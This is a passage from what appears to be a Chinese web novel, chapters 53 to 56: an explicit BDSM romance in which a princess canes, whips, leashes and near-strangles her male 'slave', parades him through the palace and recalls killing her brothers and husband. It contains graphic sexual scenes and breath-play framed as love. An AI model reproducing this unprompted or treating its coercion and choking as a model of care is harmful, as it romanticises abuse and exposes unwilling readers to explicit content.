一阵破空之声响起,细杖带着与表面不符的强大力量挥舞而下,柳孤城撅着臀部趴在床上,两片八月十五的白月光已经变成了暗红的血月。 “手呢?”越长风伸手抚上红月,力度不轻不重的温柔摩挲,嘴里也是温温和和的问。 柳孤城却不由自主的打了一个冷颤,撑在床上的手重新扳回背后,依照支配者早前的命令乖乖掰开两片月光。 羞耻感汹涌而上,让他埋在枕上的脸发烫得可怕。 细杖再次挥下,这次恰巧落在两片月光之间的细缝上。 “报数呢?” “十一……”男人的声音轻若游丝。 越长风轻笑一声,“数数是由十一开始的么?” 在此之前,他已经受了细杖的十下责打,但只因为他报漏了一下,便只能从头再来。 “一……” 项圈扣着的金链被人往后狠狠一拉,柳孤城不得不往后仰颈,对上了支配者幽深的目光。 “知道你为什么要挨打么?”越长风温温柔柔的笑着,笑意却不及燃着疯魔火焰的眼底。 “因、因为……”强迫后仰的姿势让他难以发声,只能结结巴巴的嗫嚅:“主人可以对奴做任何事。” 越长风松开了紧紧扯着的金链,却依旧牢牢抓住末端,把人翻过身来,冷声命令:“腿分开。” 这样的姿势让漂亮的金丝雀暴露无遗,没有笼子的束缚让它意气风发的直指天际。 满足感油然而生,越长风一手握着金链末端,另一手执着细杖亵玩那只脆弱无助的金丝雀,动作轻柔,像在逗弄心爱的宠物一样。 她这才一脸认真地回答了自己的问题:“是因为本宫爱你。” 她扯了扯手中金链,让他感受到一瞬间的窒息感,项圈上的铃铛和鸢字玉牌互相敲击作响。 “因为爱你,所以才要给你新的存在意义——用你的身体和人格来讨好我,取悦我,被我玩。” 柳孤城耻辱地闭上眼睛,咬咬牙没有说话。 细杖毫无预兆的在鸟儿高高昂起的头上落下,柳孤城一下子把下唇咬出血来。 “你是想说,你不需要这样没有自由、没有尊严的爱吗?”越长风刚才下手有多狠,此刻抚慰的动作就有多温柔。就像她的声音一样,仿佛在面对不懂事的孩子一样无奈轻叹:“你可不能这样拣择。” “你想得到本宫的选择,就没有选择的权利。” 细杖再次落下,这次打在了穿着金环的另一处上。 “真的想要自由和尊严,当初就不该来招惹本宫。” 越长风想,如果两人易地而处,她是绝对不会捅破自己那层冷漠无情的窗户纸的。 现在柳孤城知道了她需要他那又如何,验证了她坚定不移的选择那又如何,如果说她本来对他的调教是在用一套规矩来规训他,其实她同样是在用一套规矩来规范自己。 而她用以规范自己的规矩是,必须时刻保持冷静,用高高在上的姿势、袖手旁观的态度,用冷眼去掌控一切。 如今这些规矩都被打破,剩下的只有毫无制约的占有欲、控制欲和破坏欲。 柳孤城彻底体会到了戳破主人的下场。 柳孤城被一下杖责一下抚慰的高高抛起又重重放下,不由自主地轮回于西天极乐和无间地狱之间,全身上下滚烫发热,酥麻痛感让他抽搐颤抖又禁不住的想要夹紧。 每一次越长风都会停下动作温柔的为他放松,然后又带着不容抗拒的威严命令他自己张开。 最后他趴在坐着的女郎腿上,蜷缩着往她怀里钻去。 越长风放下细杖,把扣在男人脖子上的牵引链一圈圈的绕在腕上,两指把玩着项圈上的玉牌,指腹在柳孤城迷离的注视之下,有意无意地描摹着上面的鸢字。 “喜欢么。” 柳孤城沉默半晌,小心翼翼的伸手环抱在她的腰间,迷迷糊糊的呢喃:“喜欢……鸢鸢。” 把玩着玉牌的手动作骤止,缓缓移到项圈上面,不轻不重的掐住了男人脖子上最脆弱的地方。 “我也喜欢你叫我鸢鸢的样子。”越长风的手渐渐收紧,感受着他脉搏的加速跳动和肩颈之间下意识的扭动挣扎,残忍笑意从眼底弥漫开去。“用这副被欺负透了、被玩坏了的样子,叫我鸢鸢。” 柳孤城急喘着气,呼吸越来越变得微弱。 然后在彻底断绝之前,越长风才悠悠然的松开了手。 她看着金丝雀的头仰得更高了,泊泊的往外淌着泪水,伸手把人拥进怀里。 男人还在从濒临窒息之中回过气来,一边不受控制的干呕着,她一边像哄小孩一样轻拍着他斑痕驳驳的背。 等柳孤城的呼吸平复下来,越长风才抚着他的脸柔声问:“饿了吗?” 在她放下刑具的时候,越长风似乎比以前要多了几分真心实意的柔情。 可是在这几分柔情的细枝末节之中,却不难感觉到属于绝对支配者的恐怖占有欲。她看似总是在问他的感受和意愿,可是她的问题从来都不容许任何否定的答案,就像柳孤城初入府时用最屈辱的方式被迫学会的“规矩”一样,他的答案从来只有【是,主人】和【多谢主人】。 捅破了两人之间最后一层窗户纸的她,毫不犹豫地向他展示自己的温柔一面,却也全面掌控着他的一切,比过去只有更加强调他的绝对顺从。 柳孤城浑身滚烫酸痛,但也不负所望的顺着支配者的意思点了点头。 “乖。”越长风揉了揉他凌乱的发顶,让人传膳进来。 在地牢的日子里,“喂食”一直都是一种调教暗示。 每次的“喂食”时间不仅代表着发×期的前兆,“喂食”本身也是代表着柳孤城在玩物和狗的身份之间的转换。 在他给自己的脖子上扣上了属于她的狗项圈后,越长风却没有再让他以玩物或者狗的方式进食。 她扶着浑身上下饥渴难耐的男人坐在饭桌旁,拿起杓子往自己口里送了一口凉爽清甜的时令汤羹,侧过身子贴上了他的双唇。 汤羹从她的口中渡到柳孤城 湿润温热的口腔里,越长风感觉到了男人吞咽的动作,却不急着从他的口中退出,舌尖反而更深的侵入,带着不容抗拒的姿态探索口腔里的方寸之地,霸道地在每一处留下到此一游的痕迹,甚至一路压至他的舌根,然后再往上舔舐他的上颚。 四唇分开,越长风含笑问:“喜欢我这样给你喂食么?” “喜欢……鸢鸢。”柳孤城含糊地答出了同一句话,也不知道他的意思是喜欢这样,还是在语无伦次地重复自己对“鸢鸢”的喜欢。 “喜欢的话,要说什么?”话音刚落,她便又含进了一口汤羹。 “多谢主人。”刻在意识深处的规矩柳孤城可不敢忘,这次是飞快的回了话。 “乖。”女郎的眉眼弯成了两片月牙儿,四唇再次无缝交接。 不知是不是这样的喂食方式比以往的远远更加亲密和缱绻,柳孤城这次的情潮发作比以往的来得更加汹涌难耐。 “主人……我想要,求求你……” 理智被欲望一点一点的燃烧殆尽,柳孤城下意识地在玩物、狗和人之间的身份不断跳跃转换,满脑子只有一个念头:哀求高高在上的支配者赐予慈悲。 越长风一脸施舍地摸摸他的头,又揉揉他的肚子。吃饱喝足之后更加无法忽视身体上的动静,而她看似体贴的动作无疑是在火上浇油,拉着他在深渊里沉沦更深。 她满意地看着他的样子,拉着项圈上的金链把他牵到铜镜之前,命令他在镜前跪直身子,嘴里咬着链子的手柄,睁大眼睛看着镜子里两颊潮红、眼神空泛,身上一条条的“规矩”展露无遗,金光闪闪的精致饰物还在乱晃的人。 散鞭徐徐落下。 多尾的散鞭看起来比细杖可怕,实际上却远远没有其貌不扬的细杖来得疼痛,只有似有若无的触感,说起上来耻辱感其实比痛感更盛。 柳孤城却还是忍不住放松了齿关。 链子的手柄从牙齿之间掉了出来,就像每一次他无法控制地犯了支配者所定下的规矩时,背上落下又一下不轻不重的责打。 “叼好了。”越长风佯装不满的命令,一边用鞭梢在他背上轻扫。 下一鞭落在他的后腰上。 “塌下去,撅起来。” 越长风蹲下去,掉转鞭子用鞭梢对着自己,鞭柄则是向着柳孤城的方向。 与肌肤相接的那一瞬间,柳孤城身躯一震,下意识地凑了上去。 越长风看着他此刻的样子,在绝顶的精神快慰之中嗓音变得暗哑,她轻轻清了一下嗓子,喉头滚动重重吞了一口口水。 然后从后拥抱住他。 “你还要自由么?”她压下了嗓音里的浓浓爱欲,声音淡然的问。 柳孤城没有立即回答。 越长风的胸腹贴上了柳孤城红肿不堪且伤痕累累的背,感受着那具身躯传给自己炽热的温度。 “你还要尊严么?”她再问。 柳孤城定定的注视着铜镜里的她,双目里水气弥漫,哑声道:“我只要主人……只要鸢鸢。” 越长风两臂一收,把他抱得更紧。 “人本无贵贱之分。”她对着铜镜里的男人,缓缓说:“但你选择向本宫跪下的一刻,你就成了本宫的所有物。” “你是本宫最喜欢的东西,柳孤城,这是你逃不掉的宿命。” 第54章 第54章遛狗 越长风紧紧抱住男人的腰,推着他往前爬去。 直到柳孤城贴在铜镜上的半边脸被镜子捂出了红印,双手以后手观音的姿势被缚在背后,不得不睁着眼睛注视着镜中的自己,高大身躯上的支撑点唯有面前的镜子和身后拥着自己的支配者,满身爱欲和暴戾的伤痕都在眼前展露无遗,散发着一种惊心动魄的凌虐美。 芊芊玉指温柔地伸进他的嘴里,深入探索找到他的后槽牙齿一把扣住,就着这个姿势把人锁在镜面之上。 然后低下头去,怜惜地在他嫣红的眼尾印下一个又一个的轻吻。 金铃叮当作响,在紊乱的铃铛声之间,女郎的声音异样的清楚。 “想出去走走吗?” 柳孤城的眼中掠过一丝慌乱,下意识的连连摇头。 他没有向主人要求自由的权利,这一个认知在这些日子的调教之中已经深深地植根在他的意识深处。 仿佛看穿了他的想法,越长风笑出声来,亲昵地与他耳鬓厮磨,在他耳边轻快的道:“别怕,这不是试探。” 柳孤城羽睫轻颤,看上去是那样的胆小和脆弱。 越长风抽出手指,摸了摸他泛着红霞的脸颊,一副循循善诱的问:“真的不要?” 柳孤城犹豫了很久,才微乎其微的轻轻点头。 ----- 长公主府的马车缓缓驶入皇城,这座皇城的真正主人自然毋须像其他臣民一样下车徒步进宫,禁军也断断不敢打扰车驾内的主上,也就没有人能看见车内此刻的景致。 昂藏七尺的俊美男子身披衣不蔽体的薄纱,纱衣下穿着的金环和上面扣着的金链若隐若现,脖子上还带着一个精致的狗项圈。 男人就像最驯服最忠诚的宠物一样粘在主人脚上,讨好般地蹭着支配者的小腿,换来的是充满控制意味的摩挲抚摸。 “你上次进宫,便是上元节的时候了吧?” 柳孤城一怔,抬首看她:“……是,主人。” 越长风把玩着他难耐地滚动着的喉结,似有若无的笑:“在酒里下药,在太液池边落水,再顺理成章地被常茵送到昭庆宫里——这些,都是你早已算计好了的吧?” “是,主人。”他只能这样说,而这句话也的确不差。 “柳家四郎从前并不存在,本宫也不记得你有进过宫来。”越长风意味深长的说:“第一次进宫便可以算无遗策的谋划了这一切,你还真是不简单呐。” 柳孤城定定的凝视着她,没有承认也没有否认,深不见底的双目深处燃起了一点狡黠的星火。 “这大概是奴和主人之间的宿命感?”他的嗓音闷闷的,却也丝毫不掩里面的戏谑笑意。 ……好样的,这是把她自己说过的话都还给她了是吧。 这时马车恰好在含元殿外停了下来。 越长风没有接过话头,而是把牵引链扣在狗项圈上轻轻一拉:“下车。” “这——”柳孤城懵了,车窗明明关着,他却还是惴惴不安地向窗外的方向望了一眼。“这里人来人往的——” “怕被人看见?”越长风不怀好意的笑,没有半点放过他的意思。“那你可要爬快一点了。” 柳孤城身子一震,他知道自己没有讨价还价的余地,而且支配者说的是“爬”,他这是要…… 含元殿属于前朝范围,就在中书省和门下省的衙门中间,平日里的确是人来人往。 越长风却刻意没有告诉他,这天是百官休沐的日子,两省里根本一个人都没有。 她也刻意带着柳孤城往直接通往含元殿的龙首道上走,在这条庄严壮阔的皇城大道上,此刻皇城的主人正牵着她的家犬,悠然闲适地在道上遛着。 日上中天,灿烂的阳光打在四肢着地、被狗链牵着的男人身上,明明是下贱的姿势、羞耻的装扮,却仿佛被日光打上了一层圣洁的金芒。 柳孤城一路提心吊胆的,唯恐在路上碰到了任何一位朝廷官员、世家子弟,龙首大道宽阔且开扬,没有可以容他匿藏的地方,无论是谁经过都会看见堂堂柳家的新任家主像狗一样被人牵着,没有任何尊严或人格的对主人绝对服从。 像是知道他的全部焦虑,越长风挥了挥手中链子,淡淡道:“别怕,本宫永远在你的身后。” 这句话对于此刻的他来说简直有如天籁,就连他自己也难以相信自己竟会生起了满满的安心和感激之情。 小心和大胆,害怕和安心,这些所有情绪被混合到了一处,加上在这些日子被调教得异常敏感的身心,百般情绪混杂之下竟然产生了一种让他自己也难以启齿的刺激感觉。 似乎也发现了男人的异样,也仿佛刻意 要他在外面爬得更久一些似的,越长风的步速可谓悠然闲适,柳孤城感觉自己在随时被人发现的恐惧之中爬了大半辈子的时间,才终于得到支配者的命令停下。 而他们停下来的地方,正是龙首原上的高坡。 越长风牵着他登上城楼,笑道:“站起来吧,和本宫一起好好看看。” 城楼上的景致和下面的截然不同,高高在上的城楼给了上面的人绝佳的位置去远眺整座帝京城,隐约可见繁华的大街上行人熙攘,万家灯火的景象。 把视线收回来,也能俯瞰皇城里一座座庄严肃穆的宫殿,中间最大的含元殿,后面的宣政、紫宸两殿,代表的都是至高无上的皇权,古往今来有多少权贵牺牲了多少无辜百姓,踩着累累尸骸白骨也要争上一争。 越长风手里还握着牵引链的手柄,忽然往后一拉,让柳孤城一下失重,往她的方向一倾,刚好是她的双唇可以接触到的位置。 她拉着链子,用温柔缱绻却不用抗拒的姿态吻上了他。 四唇相接、鼻息交融之间,柳孤城听见了她呢喃一般的轻问:“你知道这里是什么地方吗?” 他茫然的摇了摇头。 四唇分开,越长风眸光深深的看着他,过了不知多久才缓缓把目光投向远方。 她稍稍调整了姿势,慵懒惬意地倚着城楼上的砖墙,手里握着锁链有一下没一下地在自己的手腕上绕圈。 “这里是玄武门。”她的声音清朗,带着浅浅的笑意:“本宫在这里设计杀死了三位哥哥,还亲手把簪子捅进驸马的脖子里,一下、又一下、又一下,直到鲜血流满一地,柳时言呼出了最后一口气为止。” 第55章 第55章前因后果、巴掌 越长风定定的看着他,脸上是无所谓的轻松笑容,眸光却是一片幽深晦暗。 “本宫就是一个这样的人。” 冷血、无情、残忍、嗜血;就连弑兄杀夫的过程她也要慢慢的享受其中,越长风想,其实她就是一个恶到了骨子里的人。 多情的假面成了她最好的伪装,就连她自己也几乎忘记了自己还有真正的另一面,是不顾一切的疯狂和阴暗——直到,柳孤城千方百计的让它重见天日,来证明自己对他的与众不同。 既然是这样,他就应该要接受和服从于这个真正的她。 “六年前在玄武门前的一场闹剧落幕之后,先帝把本宫晾了三日三夜才肯见我。” 女郎伸手轻勾柳孤城身前金环,脸上表情是漫不经心的轻蔑,嘴角的弧度带着似有若无的嘲讽,柳孤城却从中看到了化不开的淡淡悲凉。 “先帝用养蛊的方法养出了最强的那只蛊王,但本宫并不是他想要的那一只。” “如果是我那任何一位兄长赢了,他大概都要立即写下传位诏书——可惜,赢了的是我,所以他只是问我想要什么补偿。” “你猜,我是怎么回答的?” 柳孤城很清楚“补偿”那两个字的言外之意。 承元帝说的不是奖赏,而是补偿。 因为越长风是女儿,而承元帝还有一个儿子在世。越长风永远也不会是皇位上的优先选择,而她作为胜出的蛊虫得到的只有所谓的补偿。 柳孤城不知道过程,但他知道结局。事实是越长风最终没有坐上龙椅,可是在玄武门一役之后,她得到了富可敌国的南境三十郡封地,开府设司重返朝堂,而承元帝则是百病缠身,退居后宫,直到两年之后驾崩。 他对上越长风含笑的眉眼,好奇的眼神似乎真的在期待他的答案。 他深深吸了一口气,一字一顿的说:“你要了权力。” “无论是封地还是辅政之权,在天下人眼中都是先帝可怜公主新寡。”他认真的回答:“其实,那些权力,都是先帝用来代替皇位给你的补偿。” 越长风轻笑一声,在他的金环上弹了一下,力道不重,羞耻性却是极重,弹得他半身酥麻。 “唔——” 无论重复了多少次,越长风还是会被他的反应取悦到,她摸摸男人被弹得酸软的地方,缓缓摇了摇头。 “我对先帝说,我失去了的,这辈子都回不来了。” 此话乍听下去,说的似乎是死去了的柳时言,又或者是在亲手杀掉柳时言的同时也亲手抹杀掉的爱情。 柳孤城眼眸一眯,本来低眉顺眼的家犬在一刹之间像是变回不驯的恶狼,散发出危险的气场。 他却很快便明白了,回不来的并不是柳时言,也不是虚无缥缈的爱。 而是越长风曾经最渴望拥有的东西。 ----- 柳孤城并没有对越长风说实话。 他第一次进宫,并不是在上元宫宴那日。 而是在十二年前,承元十六年的春天。 那一年柳时言的惊才绝艳之名响遍京城,翰林院破例收了他入当时只有天家子弟可以就读的国子学。 无论是柳时言的名气还是就读国子学的资格,一部分固然是因为他确实有真材实料的才华,但更重要的原因却是因为柳家刻意的营造。 柳家和其他各大世家组成的聚贤阁,拥有操纵朝野的能力,在野可以把这位属于聚贤阁核心的柳家少主打造成世无其二的绝顶才子,在朝也可以轻而易举地把他送进国子学,送到一众天家子弟的中间。 跟着“少主”入宫的时候,柳孤城还只是柳十二。他没有身份,没有人格,见不得光,只能隐匿在暗遥遥保护“少主”。 少年双眼空洞,没有多余的感情和想法,他待在属于自己的黑暗里,看着本该是自己大哥的少主沐浴在阳光下,光风霁月的少年郎散发着夺目的锋芒,受一众天之骄子瞩目景仰。 太子刻意拉拢,二三皇子盲目追捧,就连国子学里唯一的公主也用那样纯净而充满希望的眼神看着他。 明明他们是这么相像的两个人。 只是因为生母身份不同,便注定了一生的贵贱之分。 国子学的先生开课了。 这天来讲学的沈翰林问了一个问题。 问题是:人生诸般无奈,身如浮萍,行如逆旅。诸君迎难而上,为的是什么? 柳十二看着“少主”一向温润如玉的虚伪假面下似乎多了几分真诚,眸光中满满都是热烈的野心和自我。 “为了做我自己。”柳时言骄傲的答。“不是柳家大郎,不是柳氏家主,而是以我柳时言之名顶天立地,行走世间。” ——他凭什么? 柳时言理所当然地拥有他所没有的一切,都只是因为他投对了胎,获得家族和背后组织精心安排的完美人生——他凭什么拥有属于自己的身份和名字,凭什么可以活出自我? 柳十二藏在阴暗的死角里,眸光阴鸷晦暗,死死盯着一脸意气风发的少年。 眼眸一角,却瞥见了那个粉雕玉琢的小公主用和自己截然不同的目光看着同一个人,脸上是一副心驰神往的表情。 小少女看着少年眼里的火光熊熊,又转头看向高高宫墙外自由自在翱翔天际的鸢鸟。 她举起小手,指向天上鸢鸟:“老师,我很羡慕它们。” “我的小字也是鸢鸢,我也想走遍天下,看遍名山大川,不受高墙所限,不用活在别人的规条和眼光之下;我也想像它们一样无拘无束的活着。” 【诸君迎难而上,为的是什么?】 柳十二忽然知道了自己对于这个问题的答案。 他不想这些权贵继续好好地活着。 他想柳时言死。 他也想这个腐朽不堪的世道去死。 但在他自己也随着这个世道去死之 前,他想要那双纯净的眼眸里面没有那个表面风光的伪君子。 他想要它们里面只有脏污不堪的自己。 柳十二开始积极寻找脱离柳家的方法。他设计让自己得到了聚贤阁负责枪替生意那些人的注目,借着他们的施压得到了一个离开柳家、直接进入背后的利益集团的机会。 也为自己争得了第一个属于自己的身份——柳孤城。 ----- 越长风看着他的眼神变了又变,有一下甚至便要现出恶狼不驯的原形来,似笑非笑:“哦?” 柳孤城从回忆之中猛然回神,他定定注视着面前的女郎,有那么一刻看见的不是那个疯魔残忍的支配者,而是当年那个眼神纯净、心向阳光的小少女。 他倏地没头没尾的说:“自由。”声音干涩,似乎还带着一丝鼻音。 越长风半倚着城头,好整以暇地看着他。 柳孤城深深吸了一口气。“你想要的,本来不是权力。” “失去了的,回不来的,也不是柳时言的那一段感情。” “柳时言是你为了争取选择自己人生的自由,而作出的第一个选择。” “直到柳时言背叛了你,你才发现选择自己人生的自由本来就并不可得,所以才有了现在的绝对掌控欲,用规矩和控制来……拯救我。” 柳孤城感觉自己鼓起了莫大的勇气,才勉强说出了拯救二字。 心底好像已经开始相信越长风之前对他说过那些强词夺理的鬼话。 【每一个人来到这世上本来就不是自己的选择。你自出生以来便活在柳家和前任家主的拘束之下,没有人格,没有尊严,更加没有选择任何东西的自由。但其实不止是你,命运本就没有真正让人自己选择的自由。】 【这世道从来都不会嘉奖有独立个性的人,无论高低贵贱,人的一生都不被允许偏离原定的轨迹,所以每一个人自出生以来便一直在学会接受,学会妥协,学会欺骗自己人生还有身由自己的选择。】 【对于自己人生的无助和痛苦,有些人选择逃避,有些人沉迷在无止境的思考之中而变得更加痛苦,但本宫选择面对……和救赎。】 或者,她对自己说的那些“鬼话”并不只是在合理化她的折辱和调教,而是她所真心相信的道理。 ——她在真心的拯救自己。 柳孤城空洞的双目里掠过了一丝不确定,还有渐变柔和的微微水光。 越长风富有耐性的听他说完,听到最后,看着他的目光却是变得冷凝,脸上似笑非笑的表情也凝结成了轻蔑的嗤笑。 她定定的看着男人眼神里的变化,忽然毫无预兆地打了他一巴掌。 “柳奴这是在可怜本宫?”她的声音没有一丝温度。 称呼的转换,话音里的轻肆,还有毫不留情的反问。 仿佛在问他,你是什么身份,用的什么身份来可怜本宫? 柳孤城被那一巴掌打得振聋发聩,怔怔的看着她,双膝下意识的一软,扑通一声跪在粗糙不平的城头上。项圈上的牵引链还被攥在越长风的手里,突如其来的拉扯带来的便是一下窒息。 “奴……不敢。”柳孤城声音沙哑,闷闷的说。 越长风俯下\身去,攥住牵引链手柄的手转而掐着他的脖子,强势的把人提了起来,用膝盖分开他的双腿抵在城墙上。 另一只手再次往他的脸上掴了一巴。 “你觉得,主人需要你这只贱狗的可怜么?”她居高临下的冷笑,字里行间也是毫不留情的羞辱。 “我……奴……”柳孤城声音颤抖,说不出一句完整的话来。 他想起了在他上一次逃离长公主府之前,长史常茵奉命把他脖子上的项圈送来,他忍不住问她,长公主是一个怎样的人。 常茵看也不看他一眼,理所当然的说,越长风从来都没有隐瞒自己,她是一个怎样的人,和她朝夕相对了这些日子的他难道还不清楚吗? 柳孤城会觉得她是因为柳时言的原因而变成现在这个样子,本来就带有先入为主的偏见,这样的想法的确是太傲慢了。 他应该要把身段再放下一点,态度再卑贱一点,放下所有的傲气和自尊,这样才可以认识真正的她。 这个世道对他残忍至极,对越长风也并不见得有多慈悲。 她本来就不必善良。 十二年前心向自由的少女是她,现在唯我独尊、控制欲强的支配者也是她。 越長風是一个怎样的人,本来就不必有什么原因。 “主人,奴错了。”柳孤城轻轻说。 越长风看着他水光粼粼的眼睛,可怜兮兮的,不难看出他眼中的真诚。 她忽然看腻了这样的眼睛。 也不顾男人的感受,冷硬的转过他的身子,让他弯腰趴在墙上,只在墙头上探出一个头来,只能无助地看着自己现今身处的高度,和身不由己随时坠落的可能。 她一手拉着男人脖子上属于自己的项圈,一手拿着早已为了这次“遛狗”准备的道具,站在她曾经弑兄杀夫的城楼上,直接得近乎暴戾的使用了他。 第56章 第56章沈相回京、捉奸的既视感…… 柳孤城鼻息混浊,沉重的喘气声间夹杂着近乎呜咽的小声咕哝,语无伦次的听不出他在说什么,也听不出他到底是在享受还是难受到了极点。 越长风把牵引链一圈圈的绕在腕上拉紧,迫使他的头往后仰起,细腻的指尖享用着属于自己的东西,特别是穿着代表自己所有权的那些小金环,然后在他看不见的身后含笑欣赏他控制不住的战栗。 “还要不要可怜本宫?”她冷下声音,不让柳孤城听见她话中笑意。 柳孤城死命的摇头,一遍又一遍的重复:“不要了……”也不知是不要可怜她了,还是不要她现在对自己不断的“宠爱”。 她俯身在他耳边,怜惜的说:“有这样的心思去可怜本宫,还不如想想该怎样做好一条狗,迎合我,讨好我。” 柳孤城恍若未闻,嘴里依旧在语无伦次的呢喃什么。 这次越长风听清楚了,他在重复说着:“我错了,主人。” 越长风心头一颤,忽然感觉有些难受。 难受就代表有软肋,她并不喜欢软肋,也绝不容许任何东西成为她的软肋。 越长风的眸光变得晦涩不明,阴沉着脸冷声命令:“张嘴。” “舌头伸出来。” 她没有让他回过头来,只是摸索着找到他顺从地伸出的舌尖,两指夹着前后拉扯,直到男人狼狈不堪。 她解开缠在腕上的牵引链,把手柄塞进男人的双唇之间:“叼好了。” 叼着手柄的柳孤城无法再开口说话,只能在咬紧的牙关之间发出压抑的声音。 这种说不出话的呜咽声给了越长风极大的精神快慰。 她从后环抱着口衔金链的男人,怀抱紧实充满安全感,每一个动作都是他最渴望拥有的坚定不移。 她一边按着自己心意的使用着他,一边用着与强势动作截然相反的柔缓语调悠然说道:“本宫告诉你这些,不是为了得到你的可怜,甚至不是为了得到你的理解。” “只是为了让你知道,你到底招惹了一个什么人。” “与其让你去从旁人口中打听,不如就让本宫亲口告诉你。” 柳孤城的身子明显一僵。 越长风知道了他问过常茵的问题。 柳孤城不禁苦笑——也是,常茵对她既有惺惺相惜的同侪之谊,也有互相扶持的姊妹之情,又怎会对她有所隐瞒? 越长风一声哼笑,声音轻飘飘的,里面的控制欲和占有欲却是沉重至极。 “不过你知道了那又怎样,这不是一场游戏,你的意愿一点也不重要,只有本宫可以说了算。” 柳孤城情潮起迭,脑子里一片迷迷糊糊的,听见这话后反而下意识的往后蹭去。 越长风在他耳边戏谑笑道:“来,说些我喜欢听的。” ——可男人口里咬着东西,根本说不出一个字来。 “乖。”支配者按着他的头。“还是柳郎知道我喜欢听什么。” 柳孤城依旧一个字也说不出来,身体却忽然控制不住的抖动,撑着城墙的手也是青筋暴现,肌理分明的空腹止不住的一收一缩…… 身后人的动作辄止。 “有人来了。” 她忽然把他的头摁了下去,柳孤城整个人一下子从云端抛落凡尘,无力跪在地上。 越长风把人转过身来,拿出了他口中的牵引链,安抚似的在他头上摸了一下:“别动。” 只见一辆马车正从城外的方向往玄武门驶来。百官休沐的日子本来不会有外来的车驾入宫,这也是越长风选择在这一天把柳孤城带到玄武门这里来的原因—— 只是偏偏来了人。 这人还偏偏不是别人。 马车越驶越近,上面的相府图腾渐渐变得清晰起来。 越长风陡然生出一种心虚的感觉。就像是顽劣的学生被老师逮到…… 又或者是,在外胡天胡帝的负心郎被捉奸。 偏偏这样的想法只有让她更加兴奋。 她低下头去看着楞楞地跪坐地上的柳孤城,压低声音,似笑非笑的问:“记得怎样伺候人么?” 柳孤城幽眸晦暗,尽管他一点也不想认同,但还是微乎其微的点了点头。 她问他记不记得,指的自然是顾锦卿来访的那一次。 他被困在书案底下,蜷缩成一团动弹不得,又提心吊胆的唯恐暴露了自己的存在,只能任人鱼肉,还不得不去下贱地取悦鱼肉自己的玉足。 越长风亲昵而轻蔑地拍拍他的脸颊,身子前倾,双手托着下颌撑在城墙上,把柳孤城彻底困在了自己和城墙之间的方寸之地。 马车一路驶至玄武门前,沈约走下车来,看见的只有城头上凸出来的一个头。 女郎一脸慵懒的倚在城头上,双手支颐,含笑看着他走近城门。 “老师!”她高声疾呼。 沈约一身风尘仆仆,一向自持端庄的中书大人仪容不整,疲态尽现,一头青丝似乎多了几缕灰白,脸上还有一些新生出来的胡茬。 越长风喜欢戏谑地叫他老男人,但沈约除了常常一副故作高深的样子以外其实外表并不显老。 如今一看,却多了几分“符合”年纪的沧桑。 越长风心弦微动,深深吸了一口气,提声喊道:“老师怎么来了?” 沈约淡淡一笑,低沉的嗓音随着轻风拂过:“殿下不想看见为师?” “怎么会呢?”越长风哑然失笑,话音里夹杂着几分柳孤城从未听见过的娇气:“老师不在的这段日子,学生寤寐思服,日日睡不安寝,食不下咽,天天都只在想老师。” 脚下的柳孤城:? 说谎是他的生存本能,可他没想过对他一口一个小骗子、因为他的“口是心非”而对他施加诸般残忍调教的支配者竟然也会满口谎言,而且还是说得这么……嬉皮笑脸的。 不,应该是没皮没脸。 城墙下的沈约也是一脸无奈:“君子一字重千金,为师教过你的。” “可我不是君子呀。”越长风歪了歪头,眉眼弯弯的,笑得一个纯情:“我只是老师的坏学生。” 越长风一边笑吟吟地和最爱装得一本正经的“老师”耍嘴皮子,手上动作也没有闲下来,一只手搭在柳孤城的头上,兴致盎然的来回抚摸身下宠物的头。 沈约正想着怎么应对这位明显耍赖的“坏学生”,忽听“啊”的一声破空传来。 “怎么了?”男人脸上的无奈笑意一下消散,警惕之色大盛,迈开大步便要走上城楼。 越长风连忙叫住了他。“别——” “就是扭了一下脚。”女郎脸上开朗明媚的笑容好像变得有点咬牙切齿。“我缓一下就下来了,我们边走边说。” 她一边若无其事的说着,左手死死抓着裙下之人的头发,力道之大仿佛快要把头发都扯出来了一般。 裙下的男人这才缓缓松开了口。 越长风蹲下\身子,装作缓解扭疼的脚腕,却是狠狠地拽住身下人的项圈,压低声音恶狠狠的道:“让你做狗你还真的学狗咬人了?” 柳孤城抬首看她,不知是羞耻感还是项圈收紧的窒息感让他两颊泛红,相比越长风的雷霆震怒他的脸色却是平静得很,只有一双眸子满布阴霾,眸光深处似乎闪铄着毁灭一切的熊熊烈火。 深渊一样的眸子本来应该吞噬一切,越长风却好像从里面看到了自己的倒影——也看到了和自己如出一辙的偏执和占有欲。 沈约和柳孤城一个在城楼下,一个在城楼上,如果说沈约走近城楼的时候给了她一种捉奸的既视感,那现在她感受到的绝对是雄性之间的敌意和互相排斥的独占欲。 因为不甘她对着别的男人欢声笑语、好言相对,和对自己的态度截然不同。 所以要让她出糗,要在她身上留下只有属于自己的记认。 越长风很清楚,如果易地而处,她会对这条贱狗做的绝对不是咬人那么简单。 可是在她自己的规矩里,从来都不允许这种独占欲的存在。 毕竟,狗只能够有一个主人,但主人从来都可以有很多条狗。 狗从来都没有左右主人的权利。 “回答我。”她俯身在男人耳边,声音与方才对着沈约的截然不同,冷冰冰的没有一丝温度。 柳孤城紧咬牙关,没有漏出一个字来。 “好。”越长风呵的一声冷笑,一下松开了手,任由男人瘫软的跌坐地上。“本宫现在要跟老师回相府议事,你在这里等到我们走了,自己坐长公主府的马车回去。” 男人眸中的焰火似乎烧得更盛。 越长风就是要这样直接的刺激他,让他摆清楚自己的位置,也给他一个机会。 要不选择并接受她的所有,绝对顺从于她的一套规矩,包括接受自己永远也不可能成为她的唯一。 要不借着这个机会,逃之夭夭。 可是这个“选择”本来就是一个伪命题。在他上一次自投罗网的时候,在他用过一次逃跑的方法来逼她走向自己之后,他就已经作出了自己的“选择”。 他这一生一次的机会,已经用完了。 “这也是一个绝佳的机会让你离开本宫,但是后果……”越长风低低一笑,一脚踩在他跪着的大腿上。“你知道的。” ----- 柳孤城听着支配者走下城楼的脚步声,听着她轻快的欢声笑语,然后是两个人的脚步声,最后车辕的声音离他远去。 越长风走下楼时,沈约三步并两步的走上前去扶住了她。 见她一蹦一跳的步履轻松,俊逸的剑眉微蹙:“扭到了还不小心一点,慢慢走。” 其实她根本没事,不过是被狗咬了一下。可越长风落得受沈约照顾,把自己的身子都挨在了他的肩上,任着男人搀扶自己上了相府的马车。 偌大的马车空间宽敞,可她故意紧紧挨着男人坐下,这才悠然笑道:“老师风尘仆仆的,看来是快马加鞭回来,还不好好休息,第一时间便来找我了。” 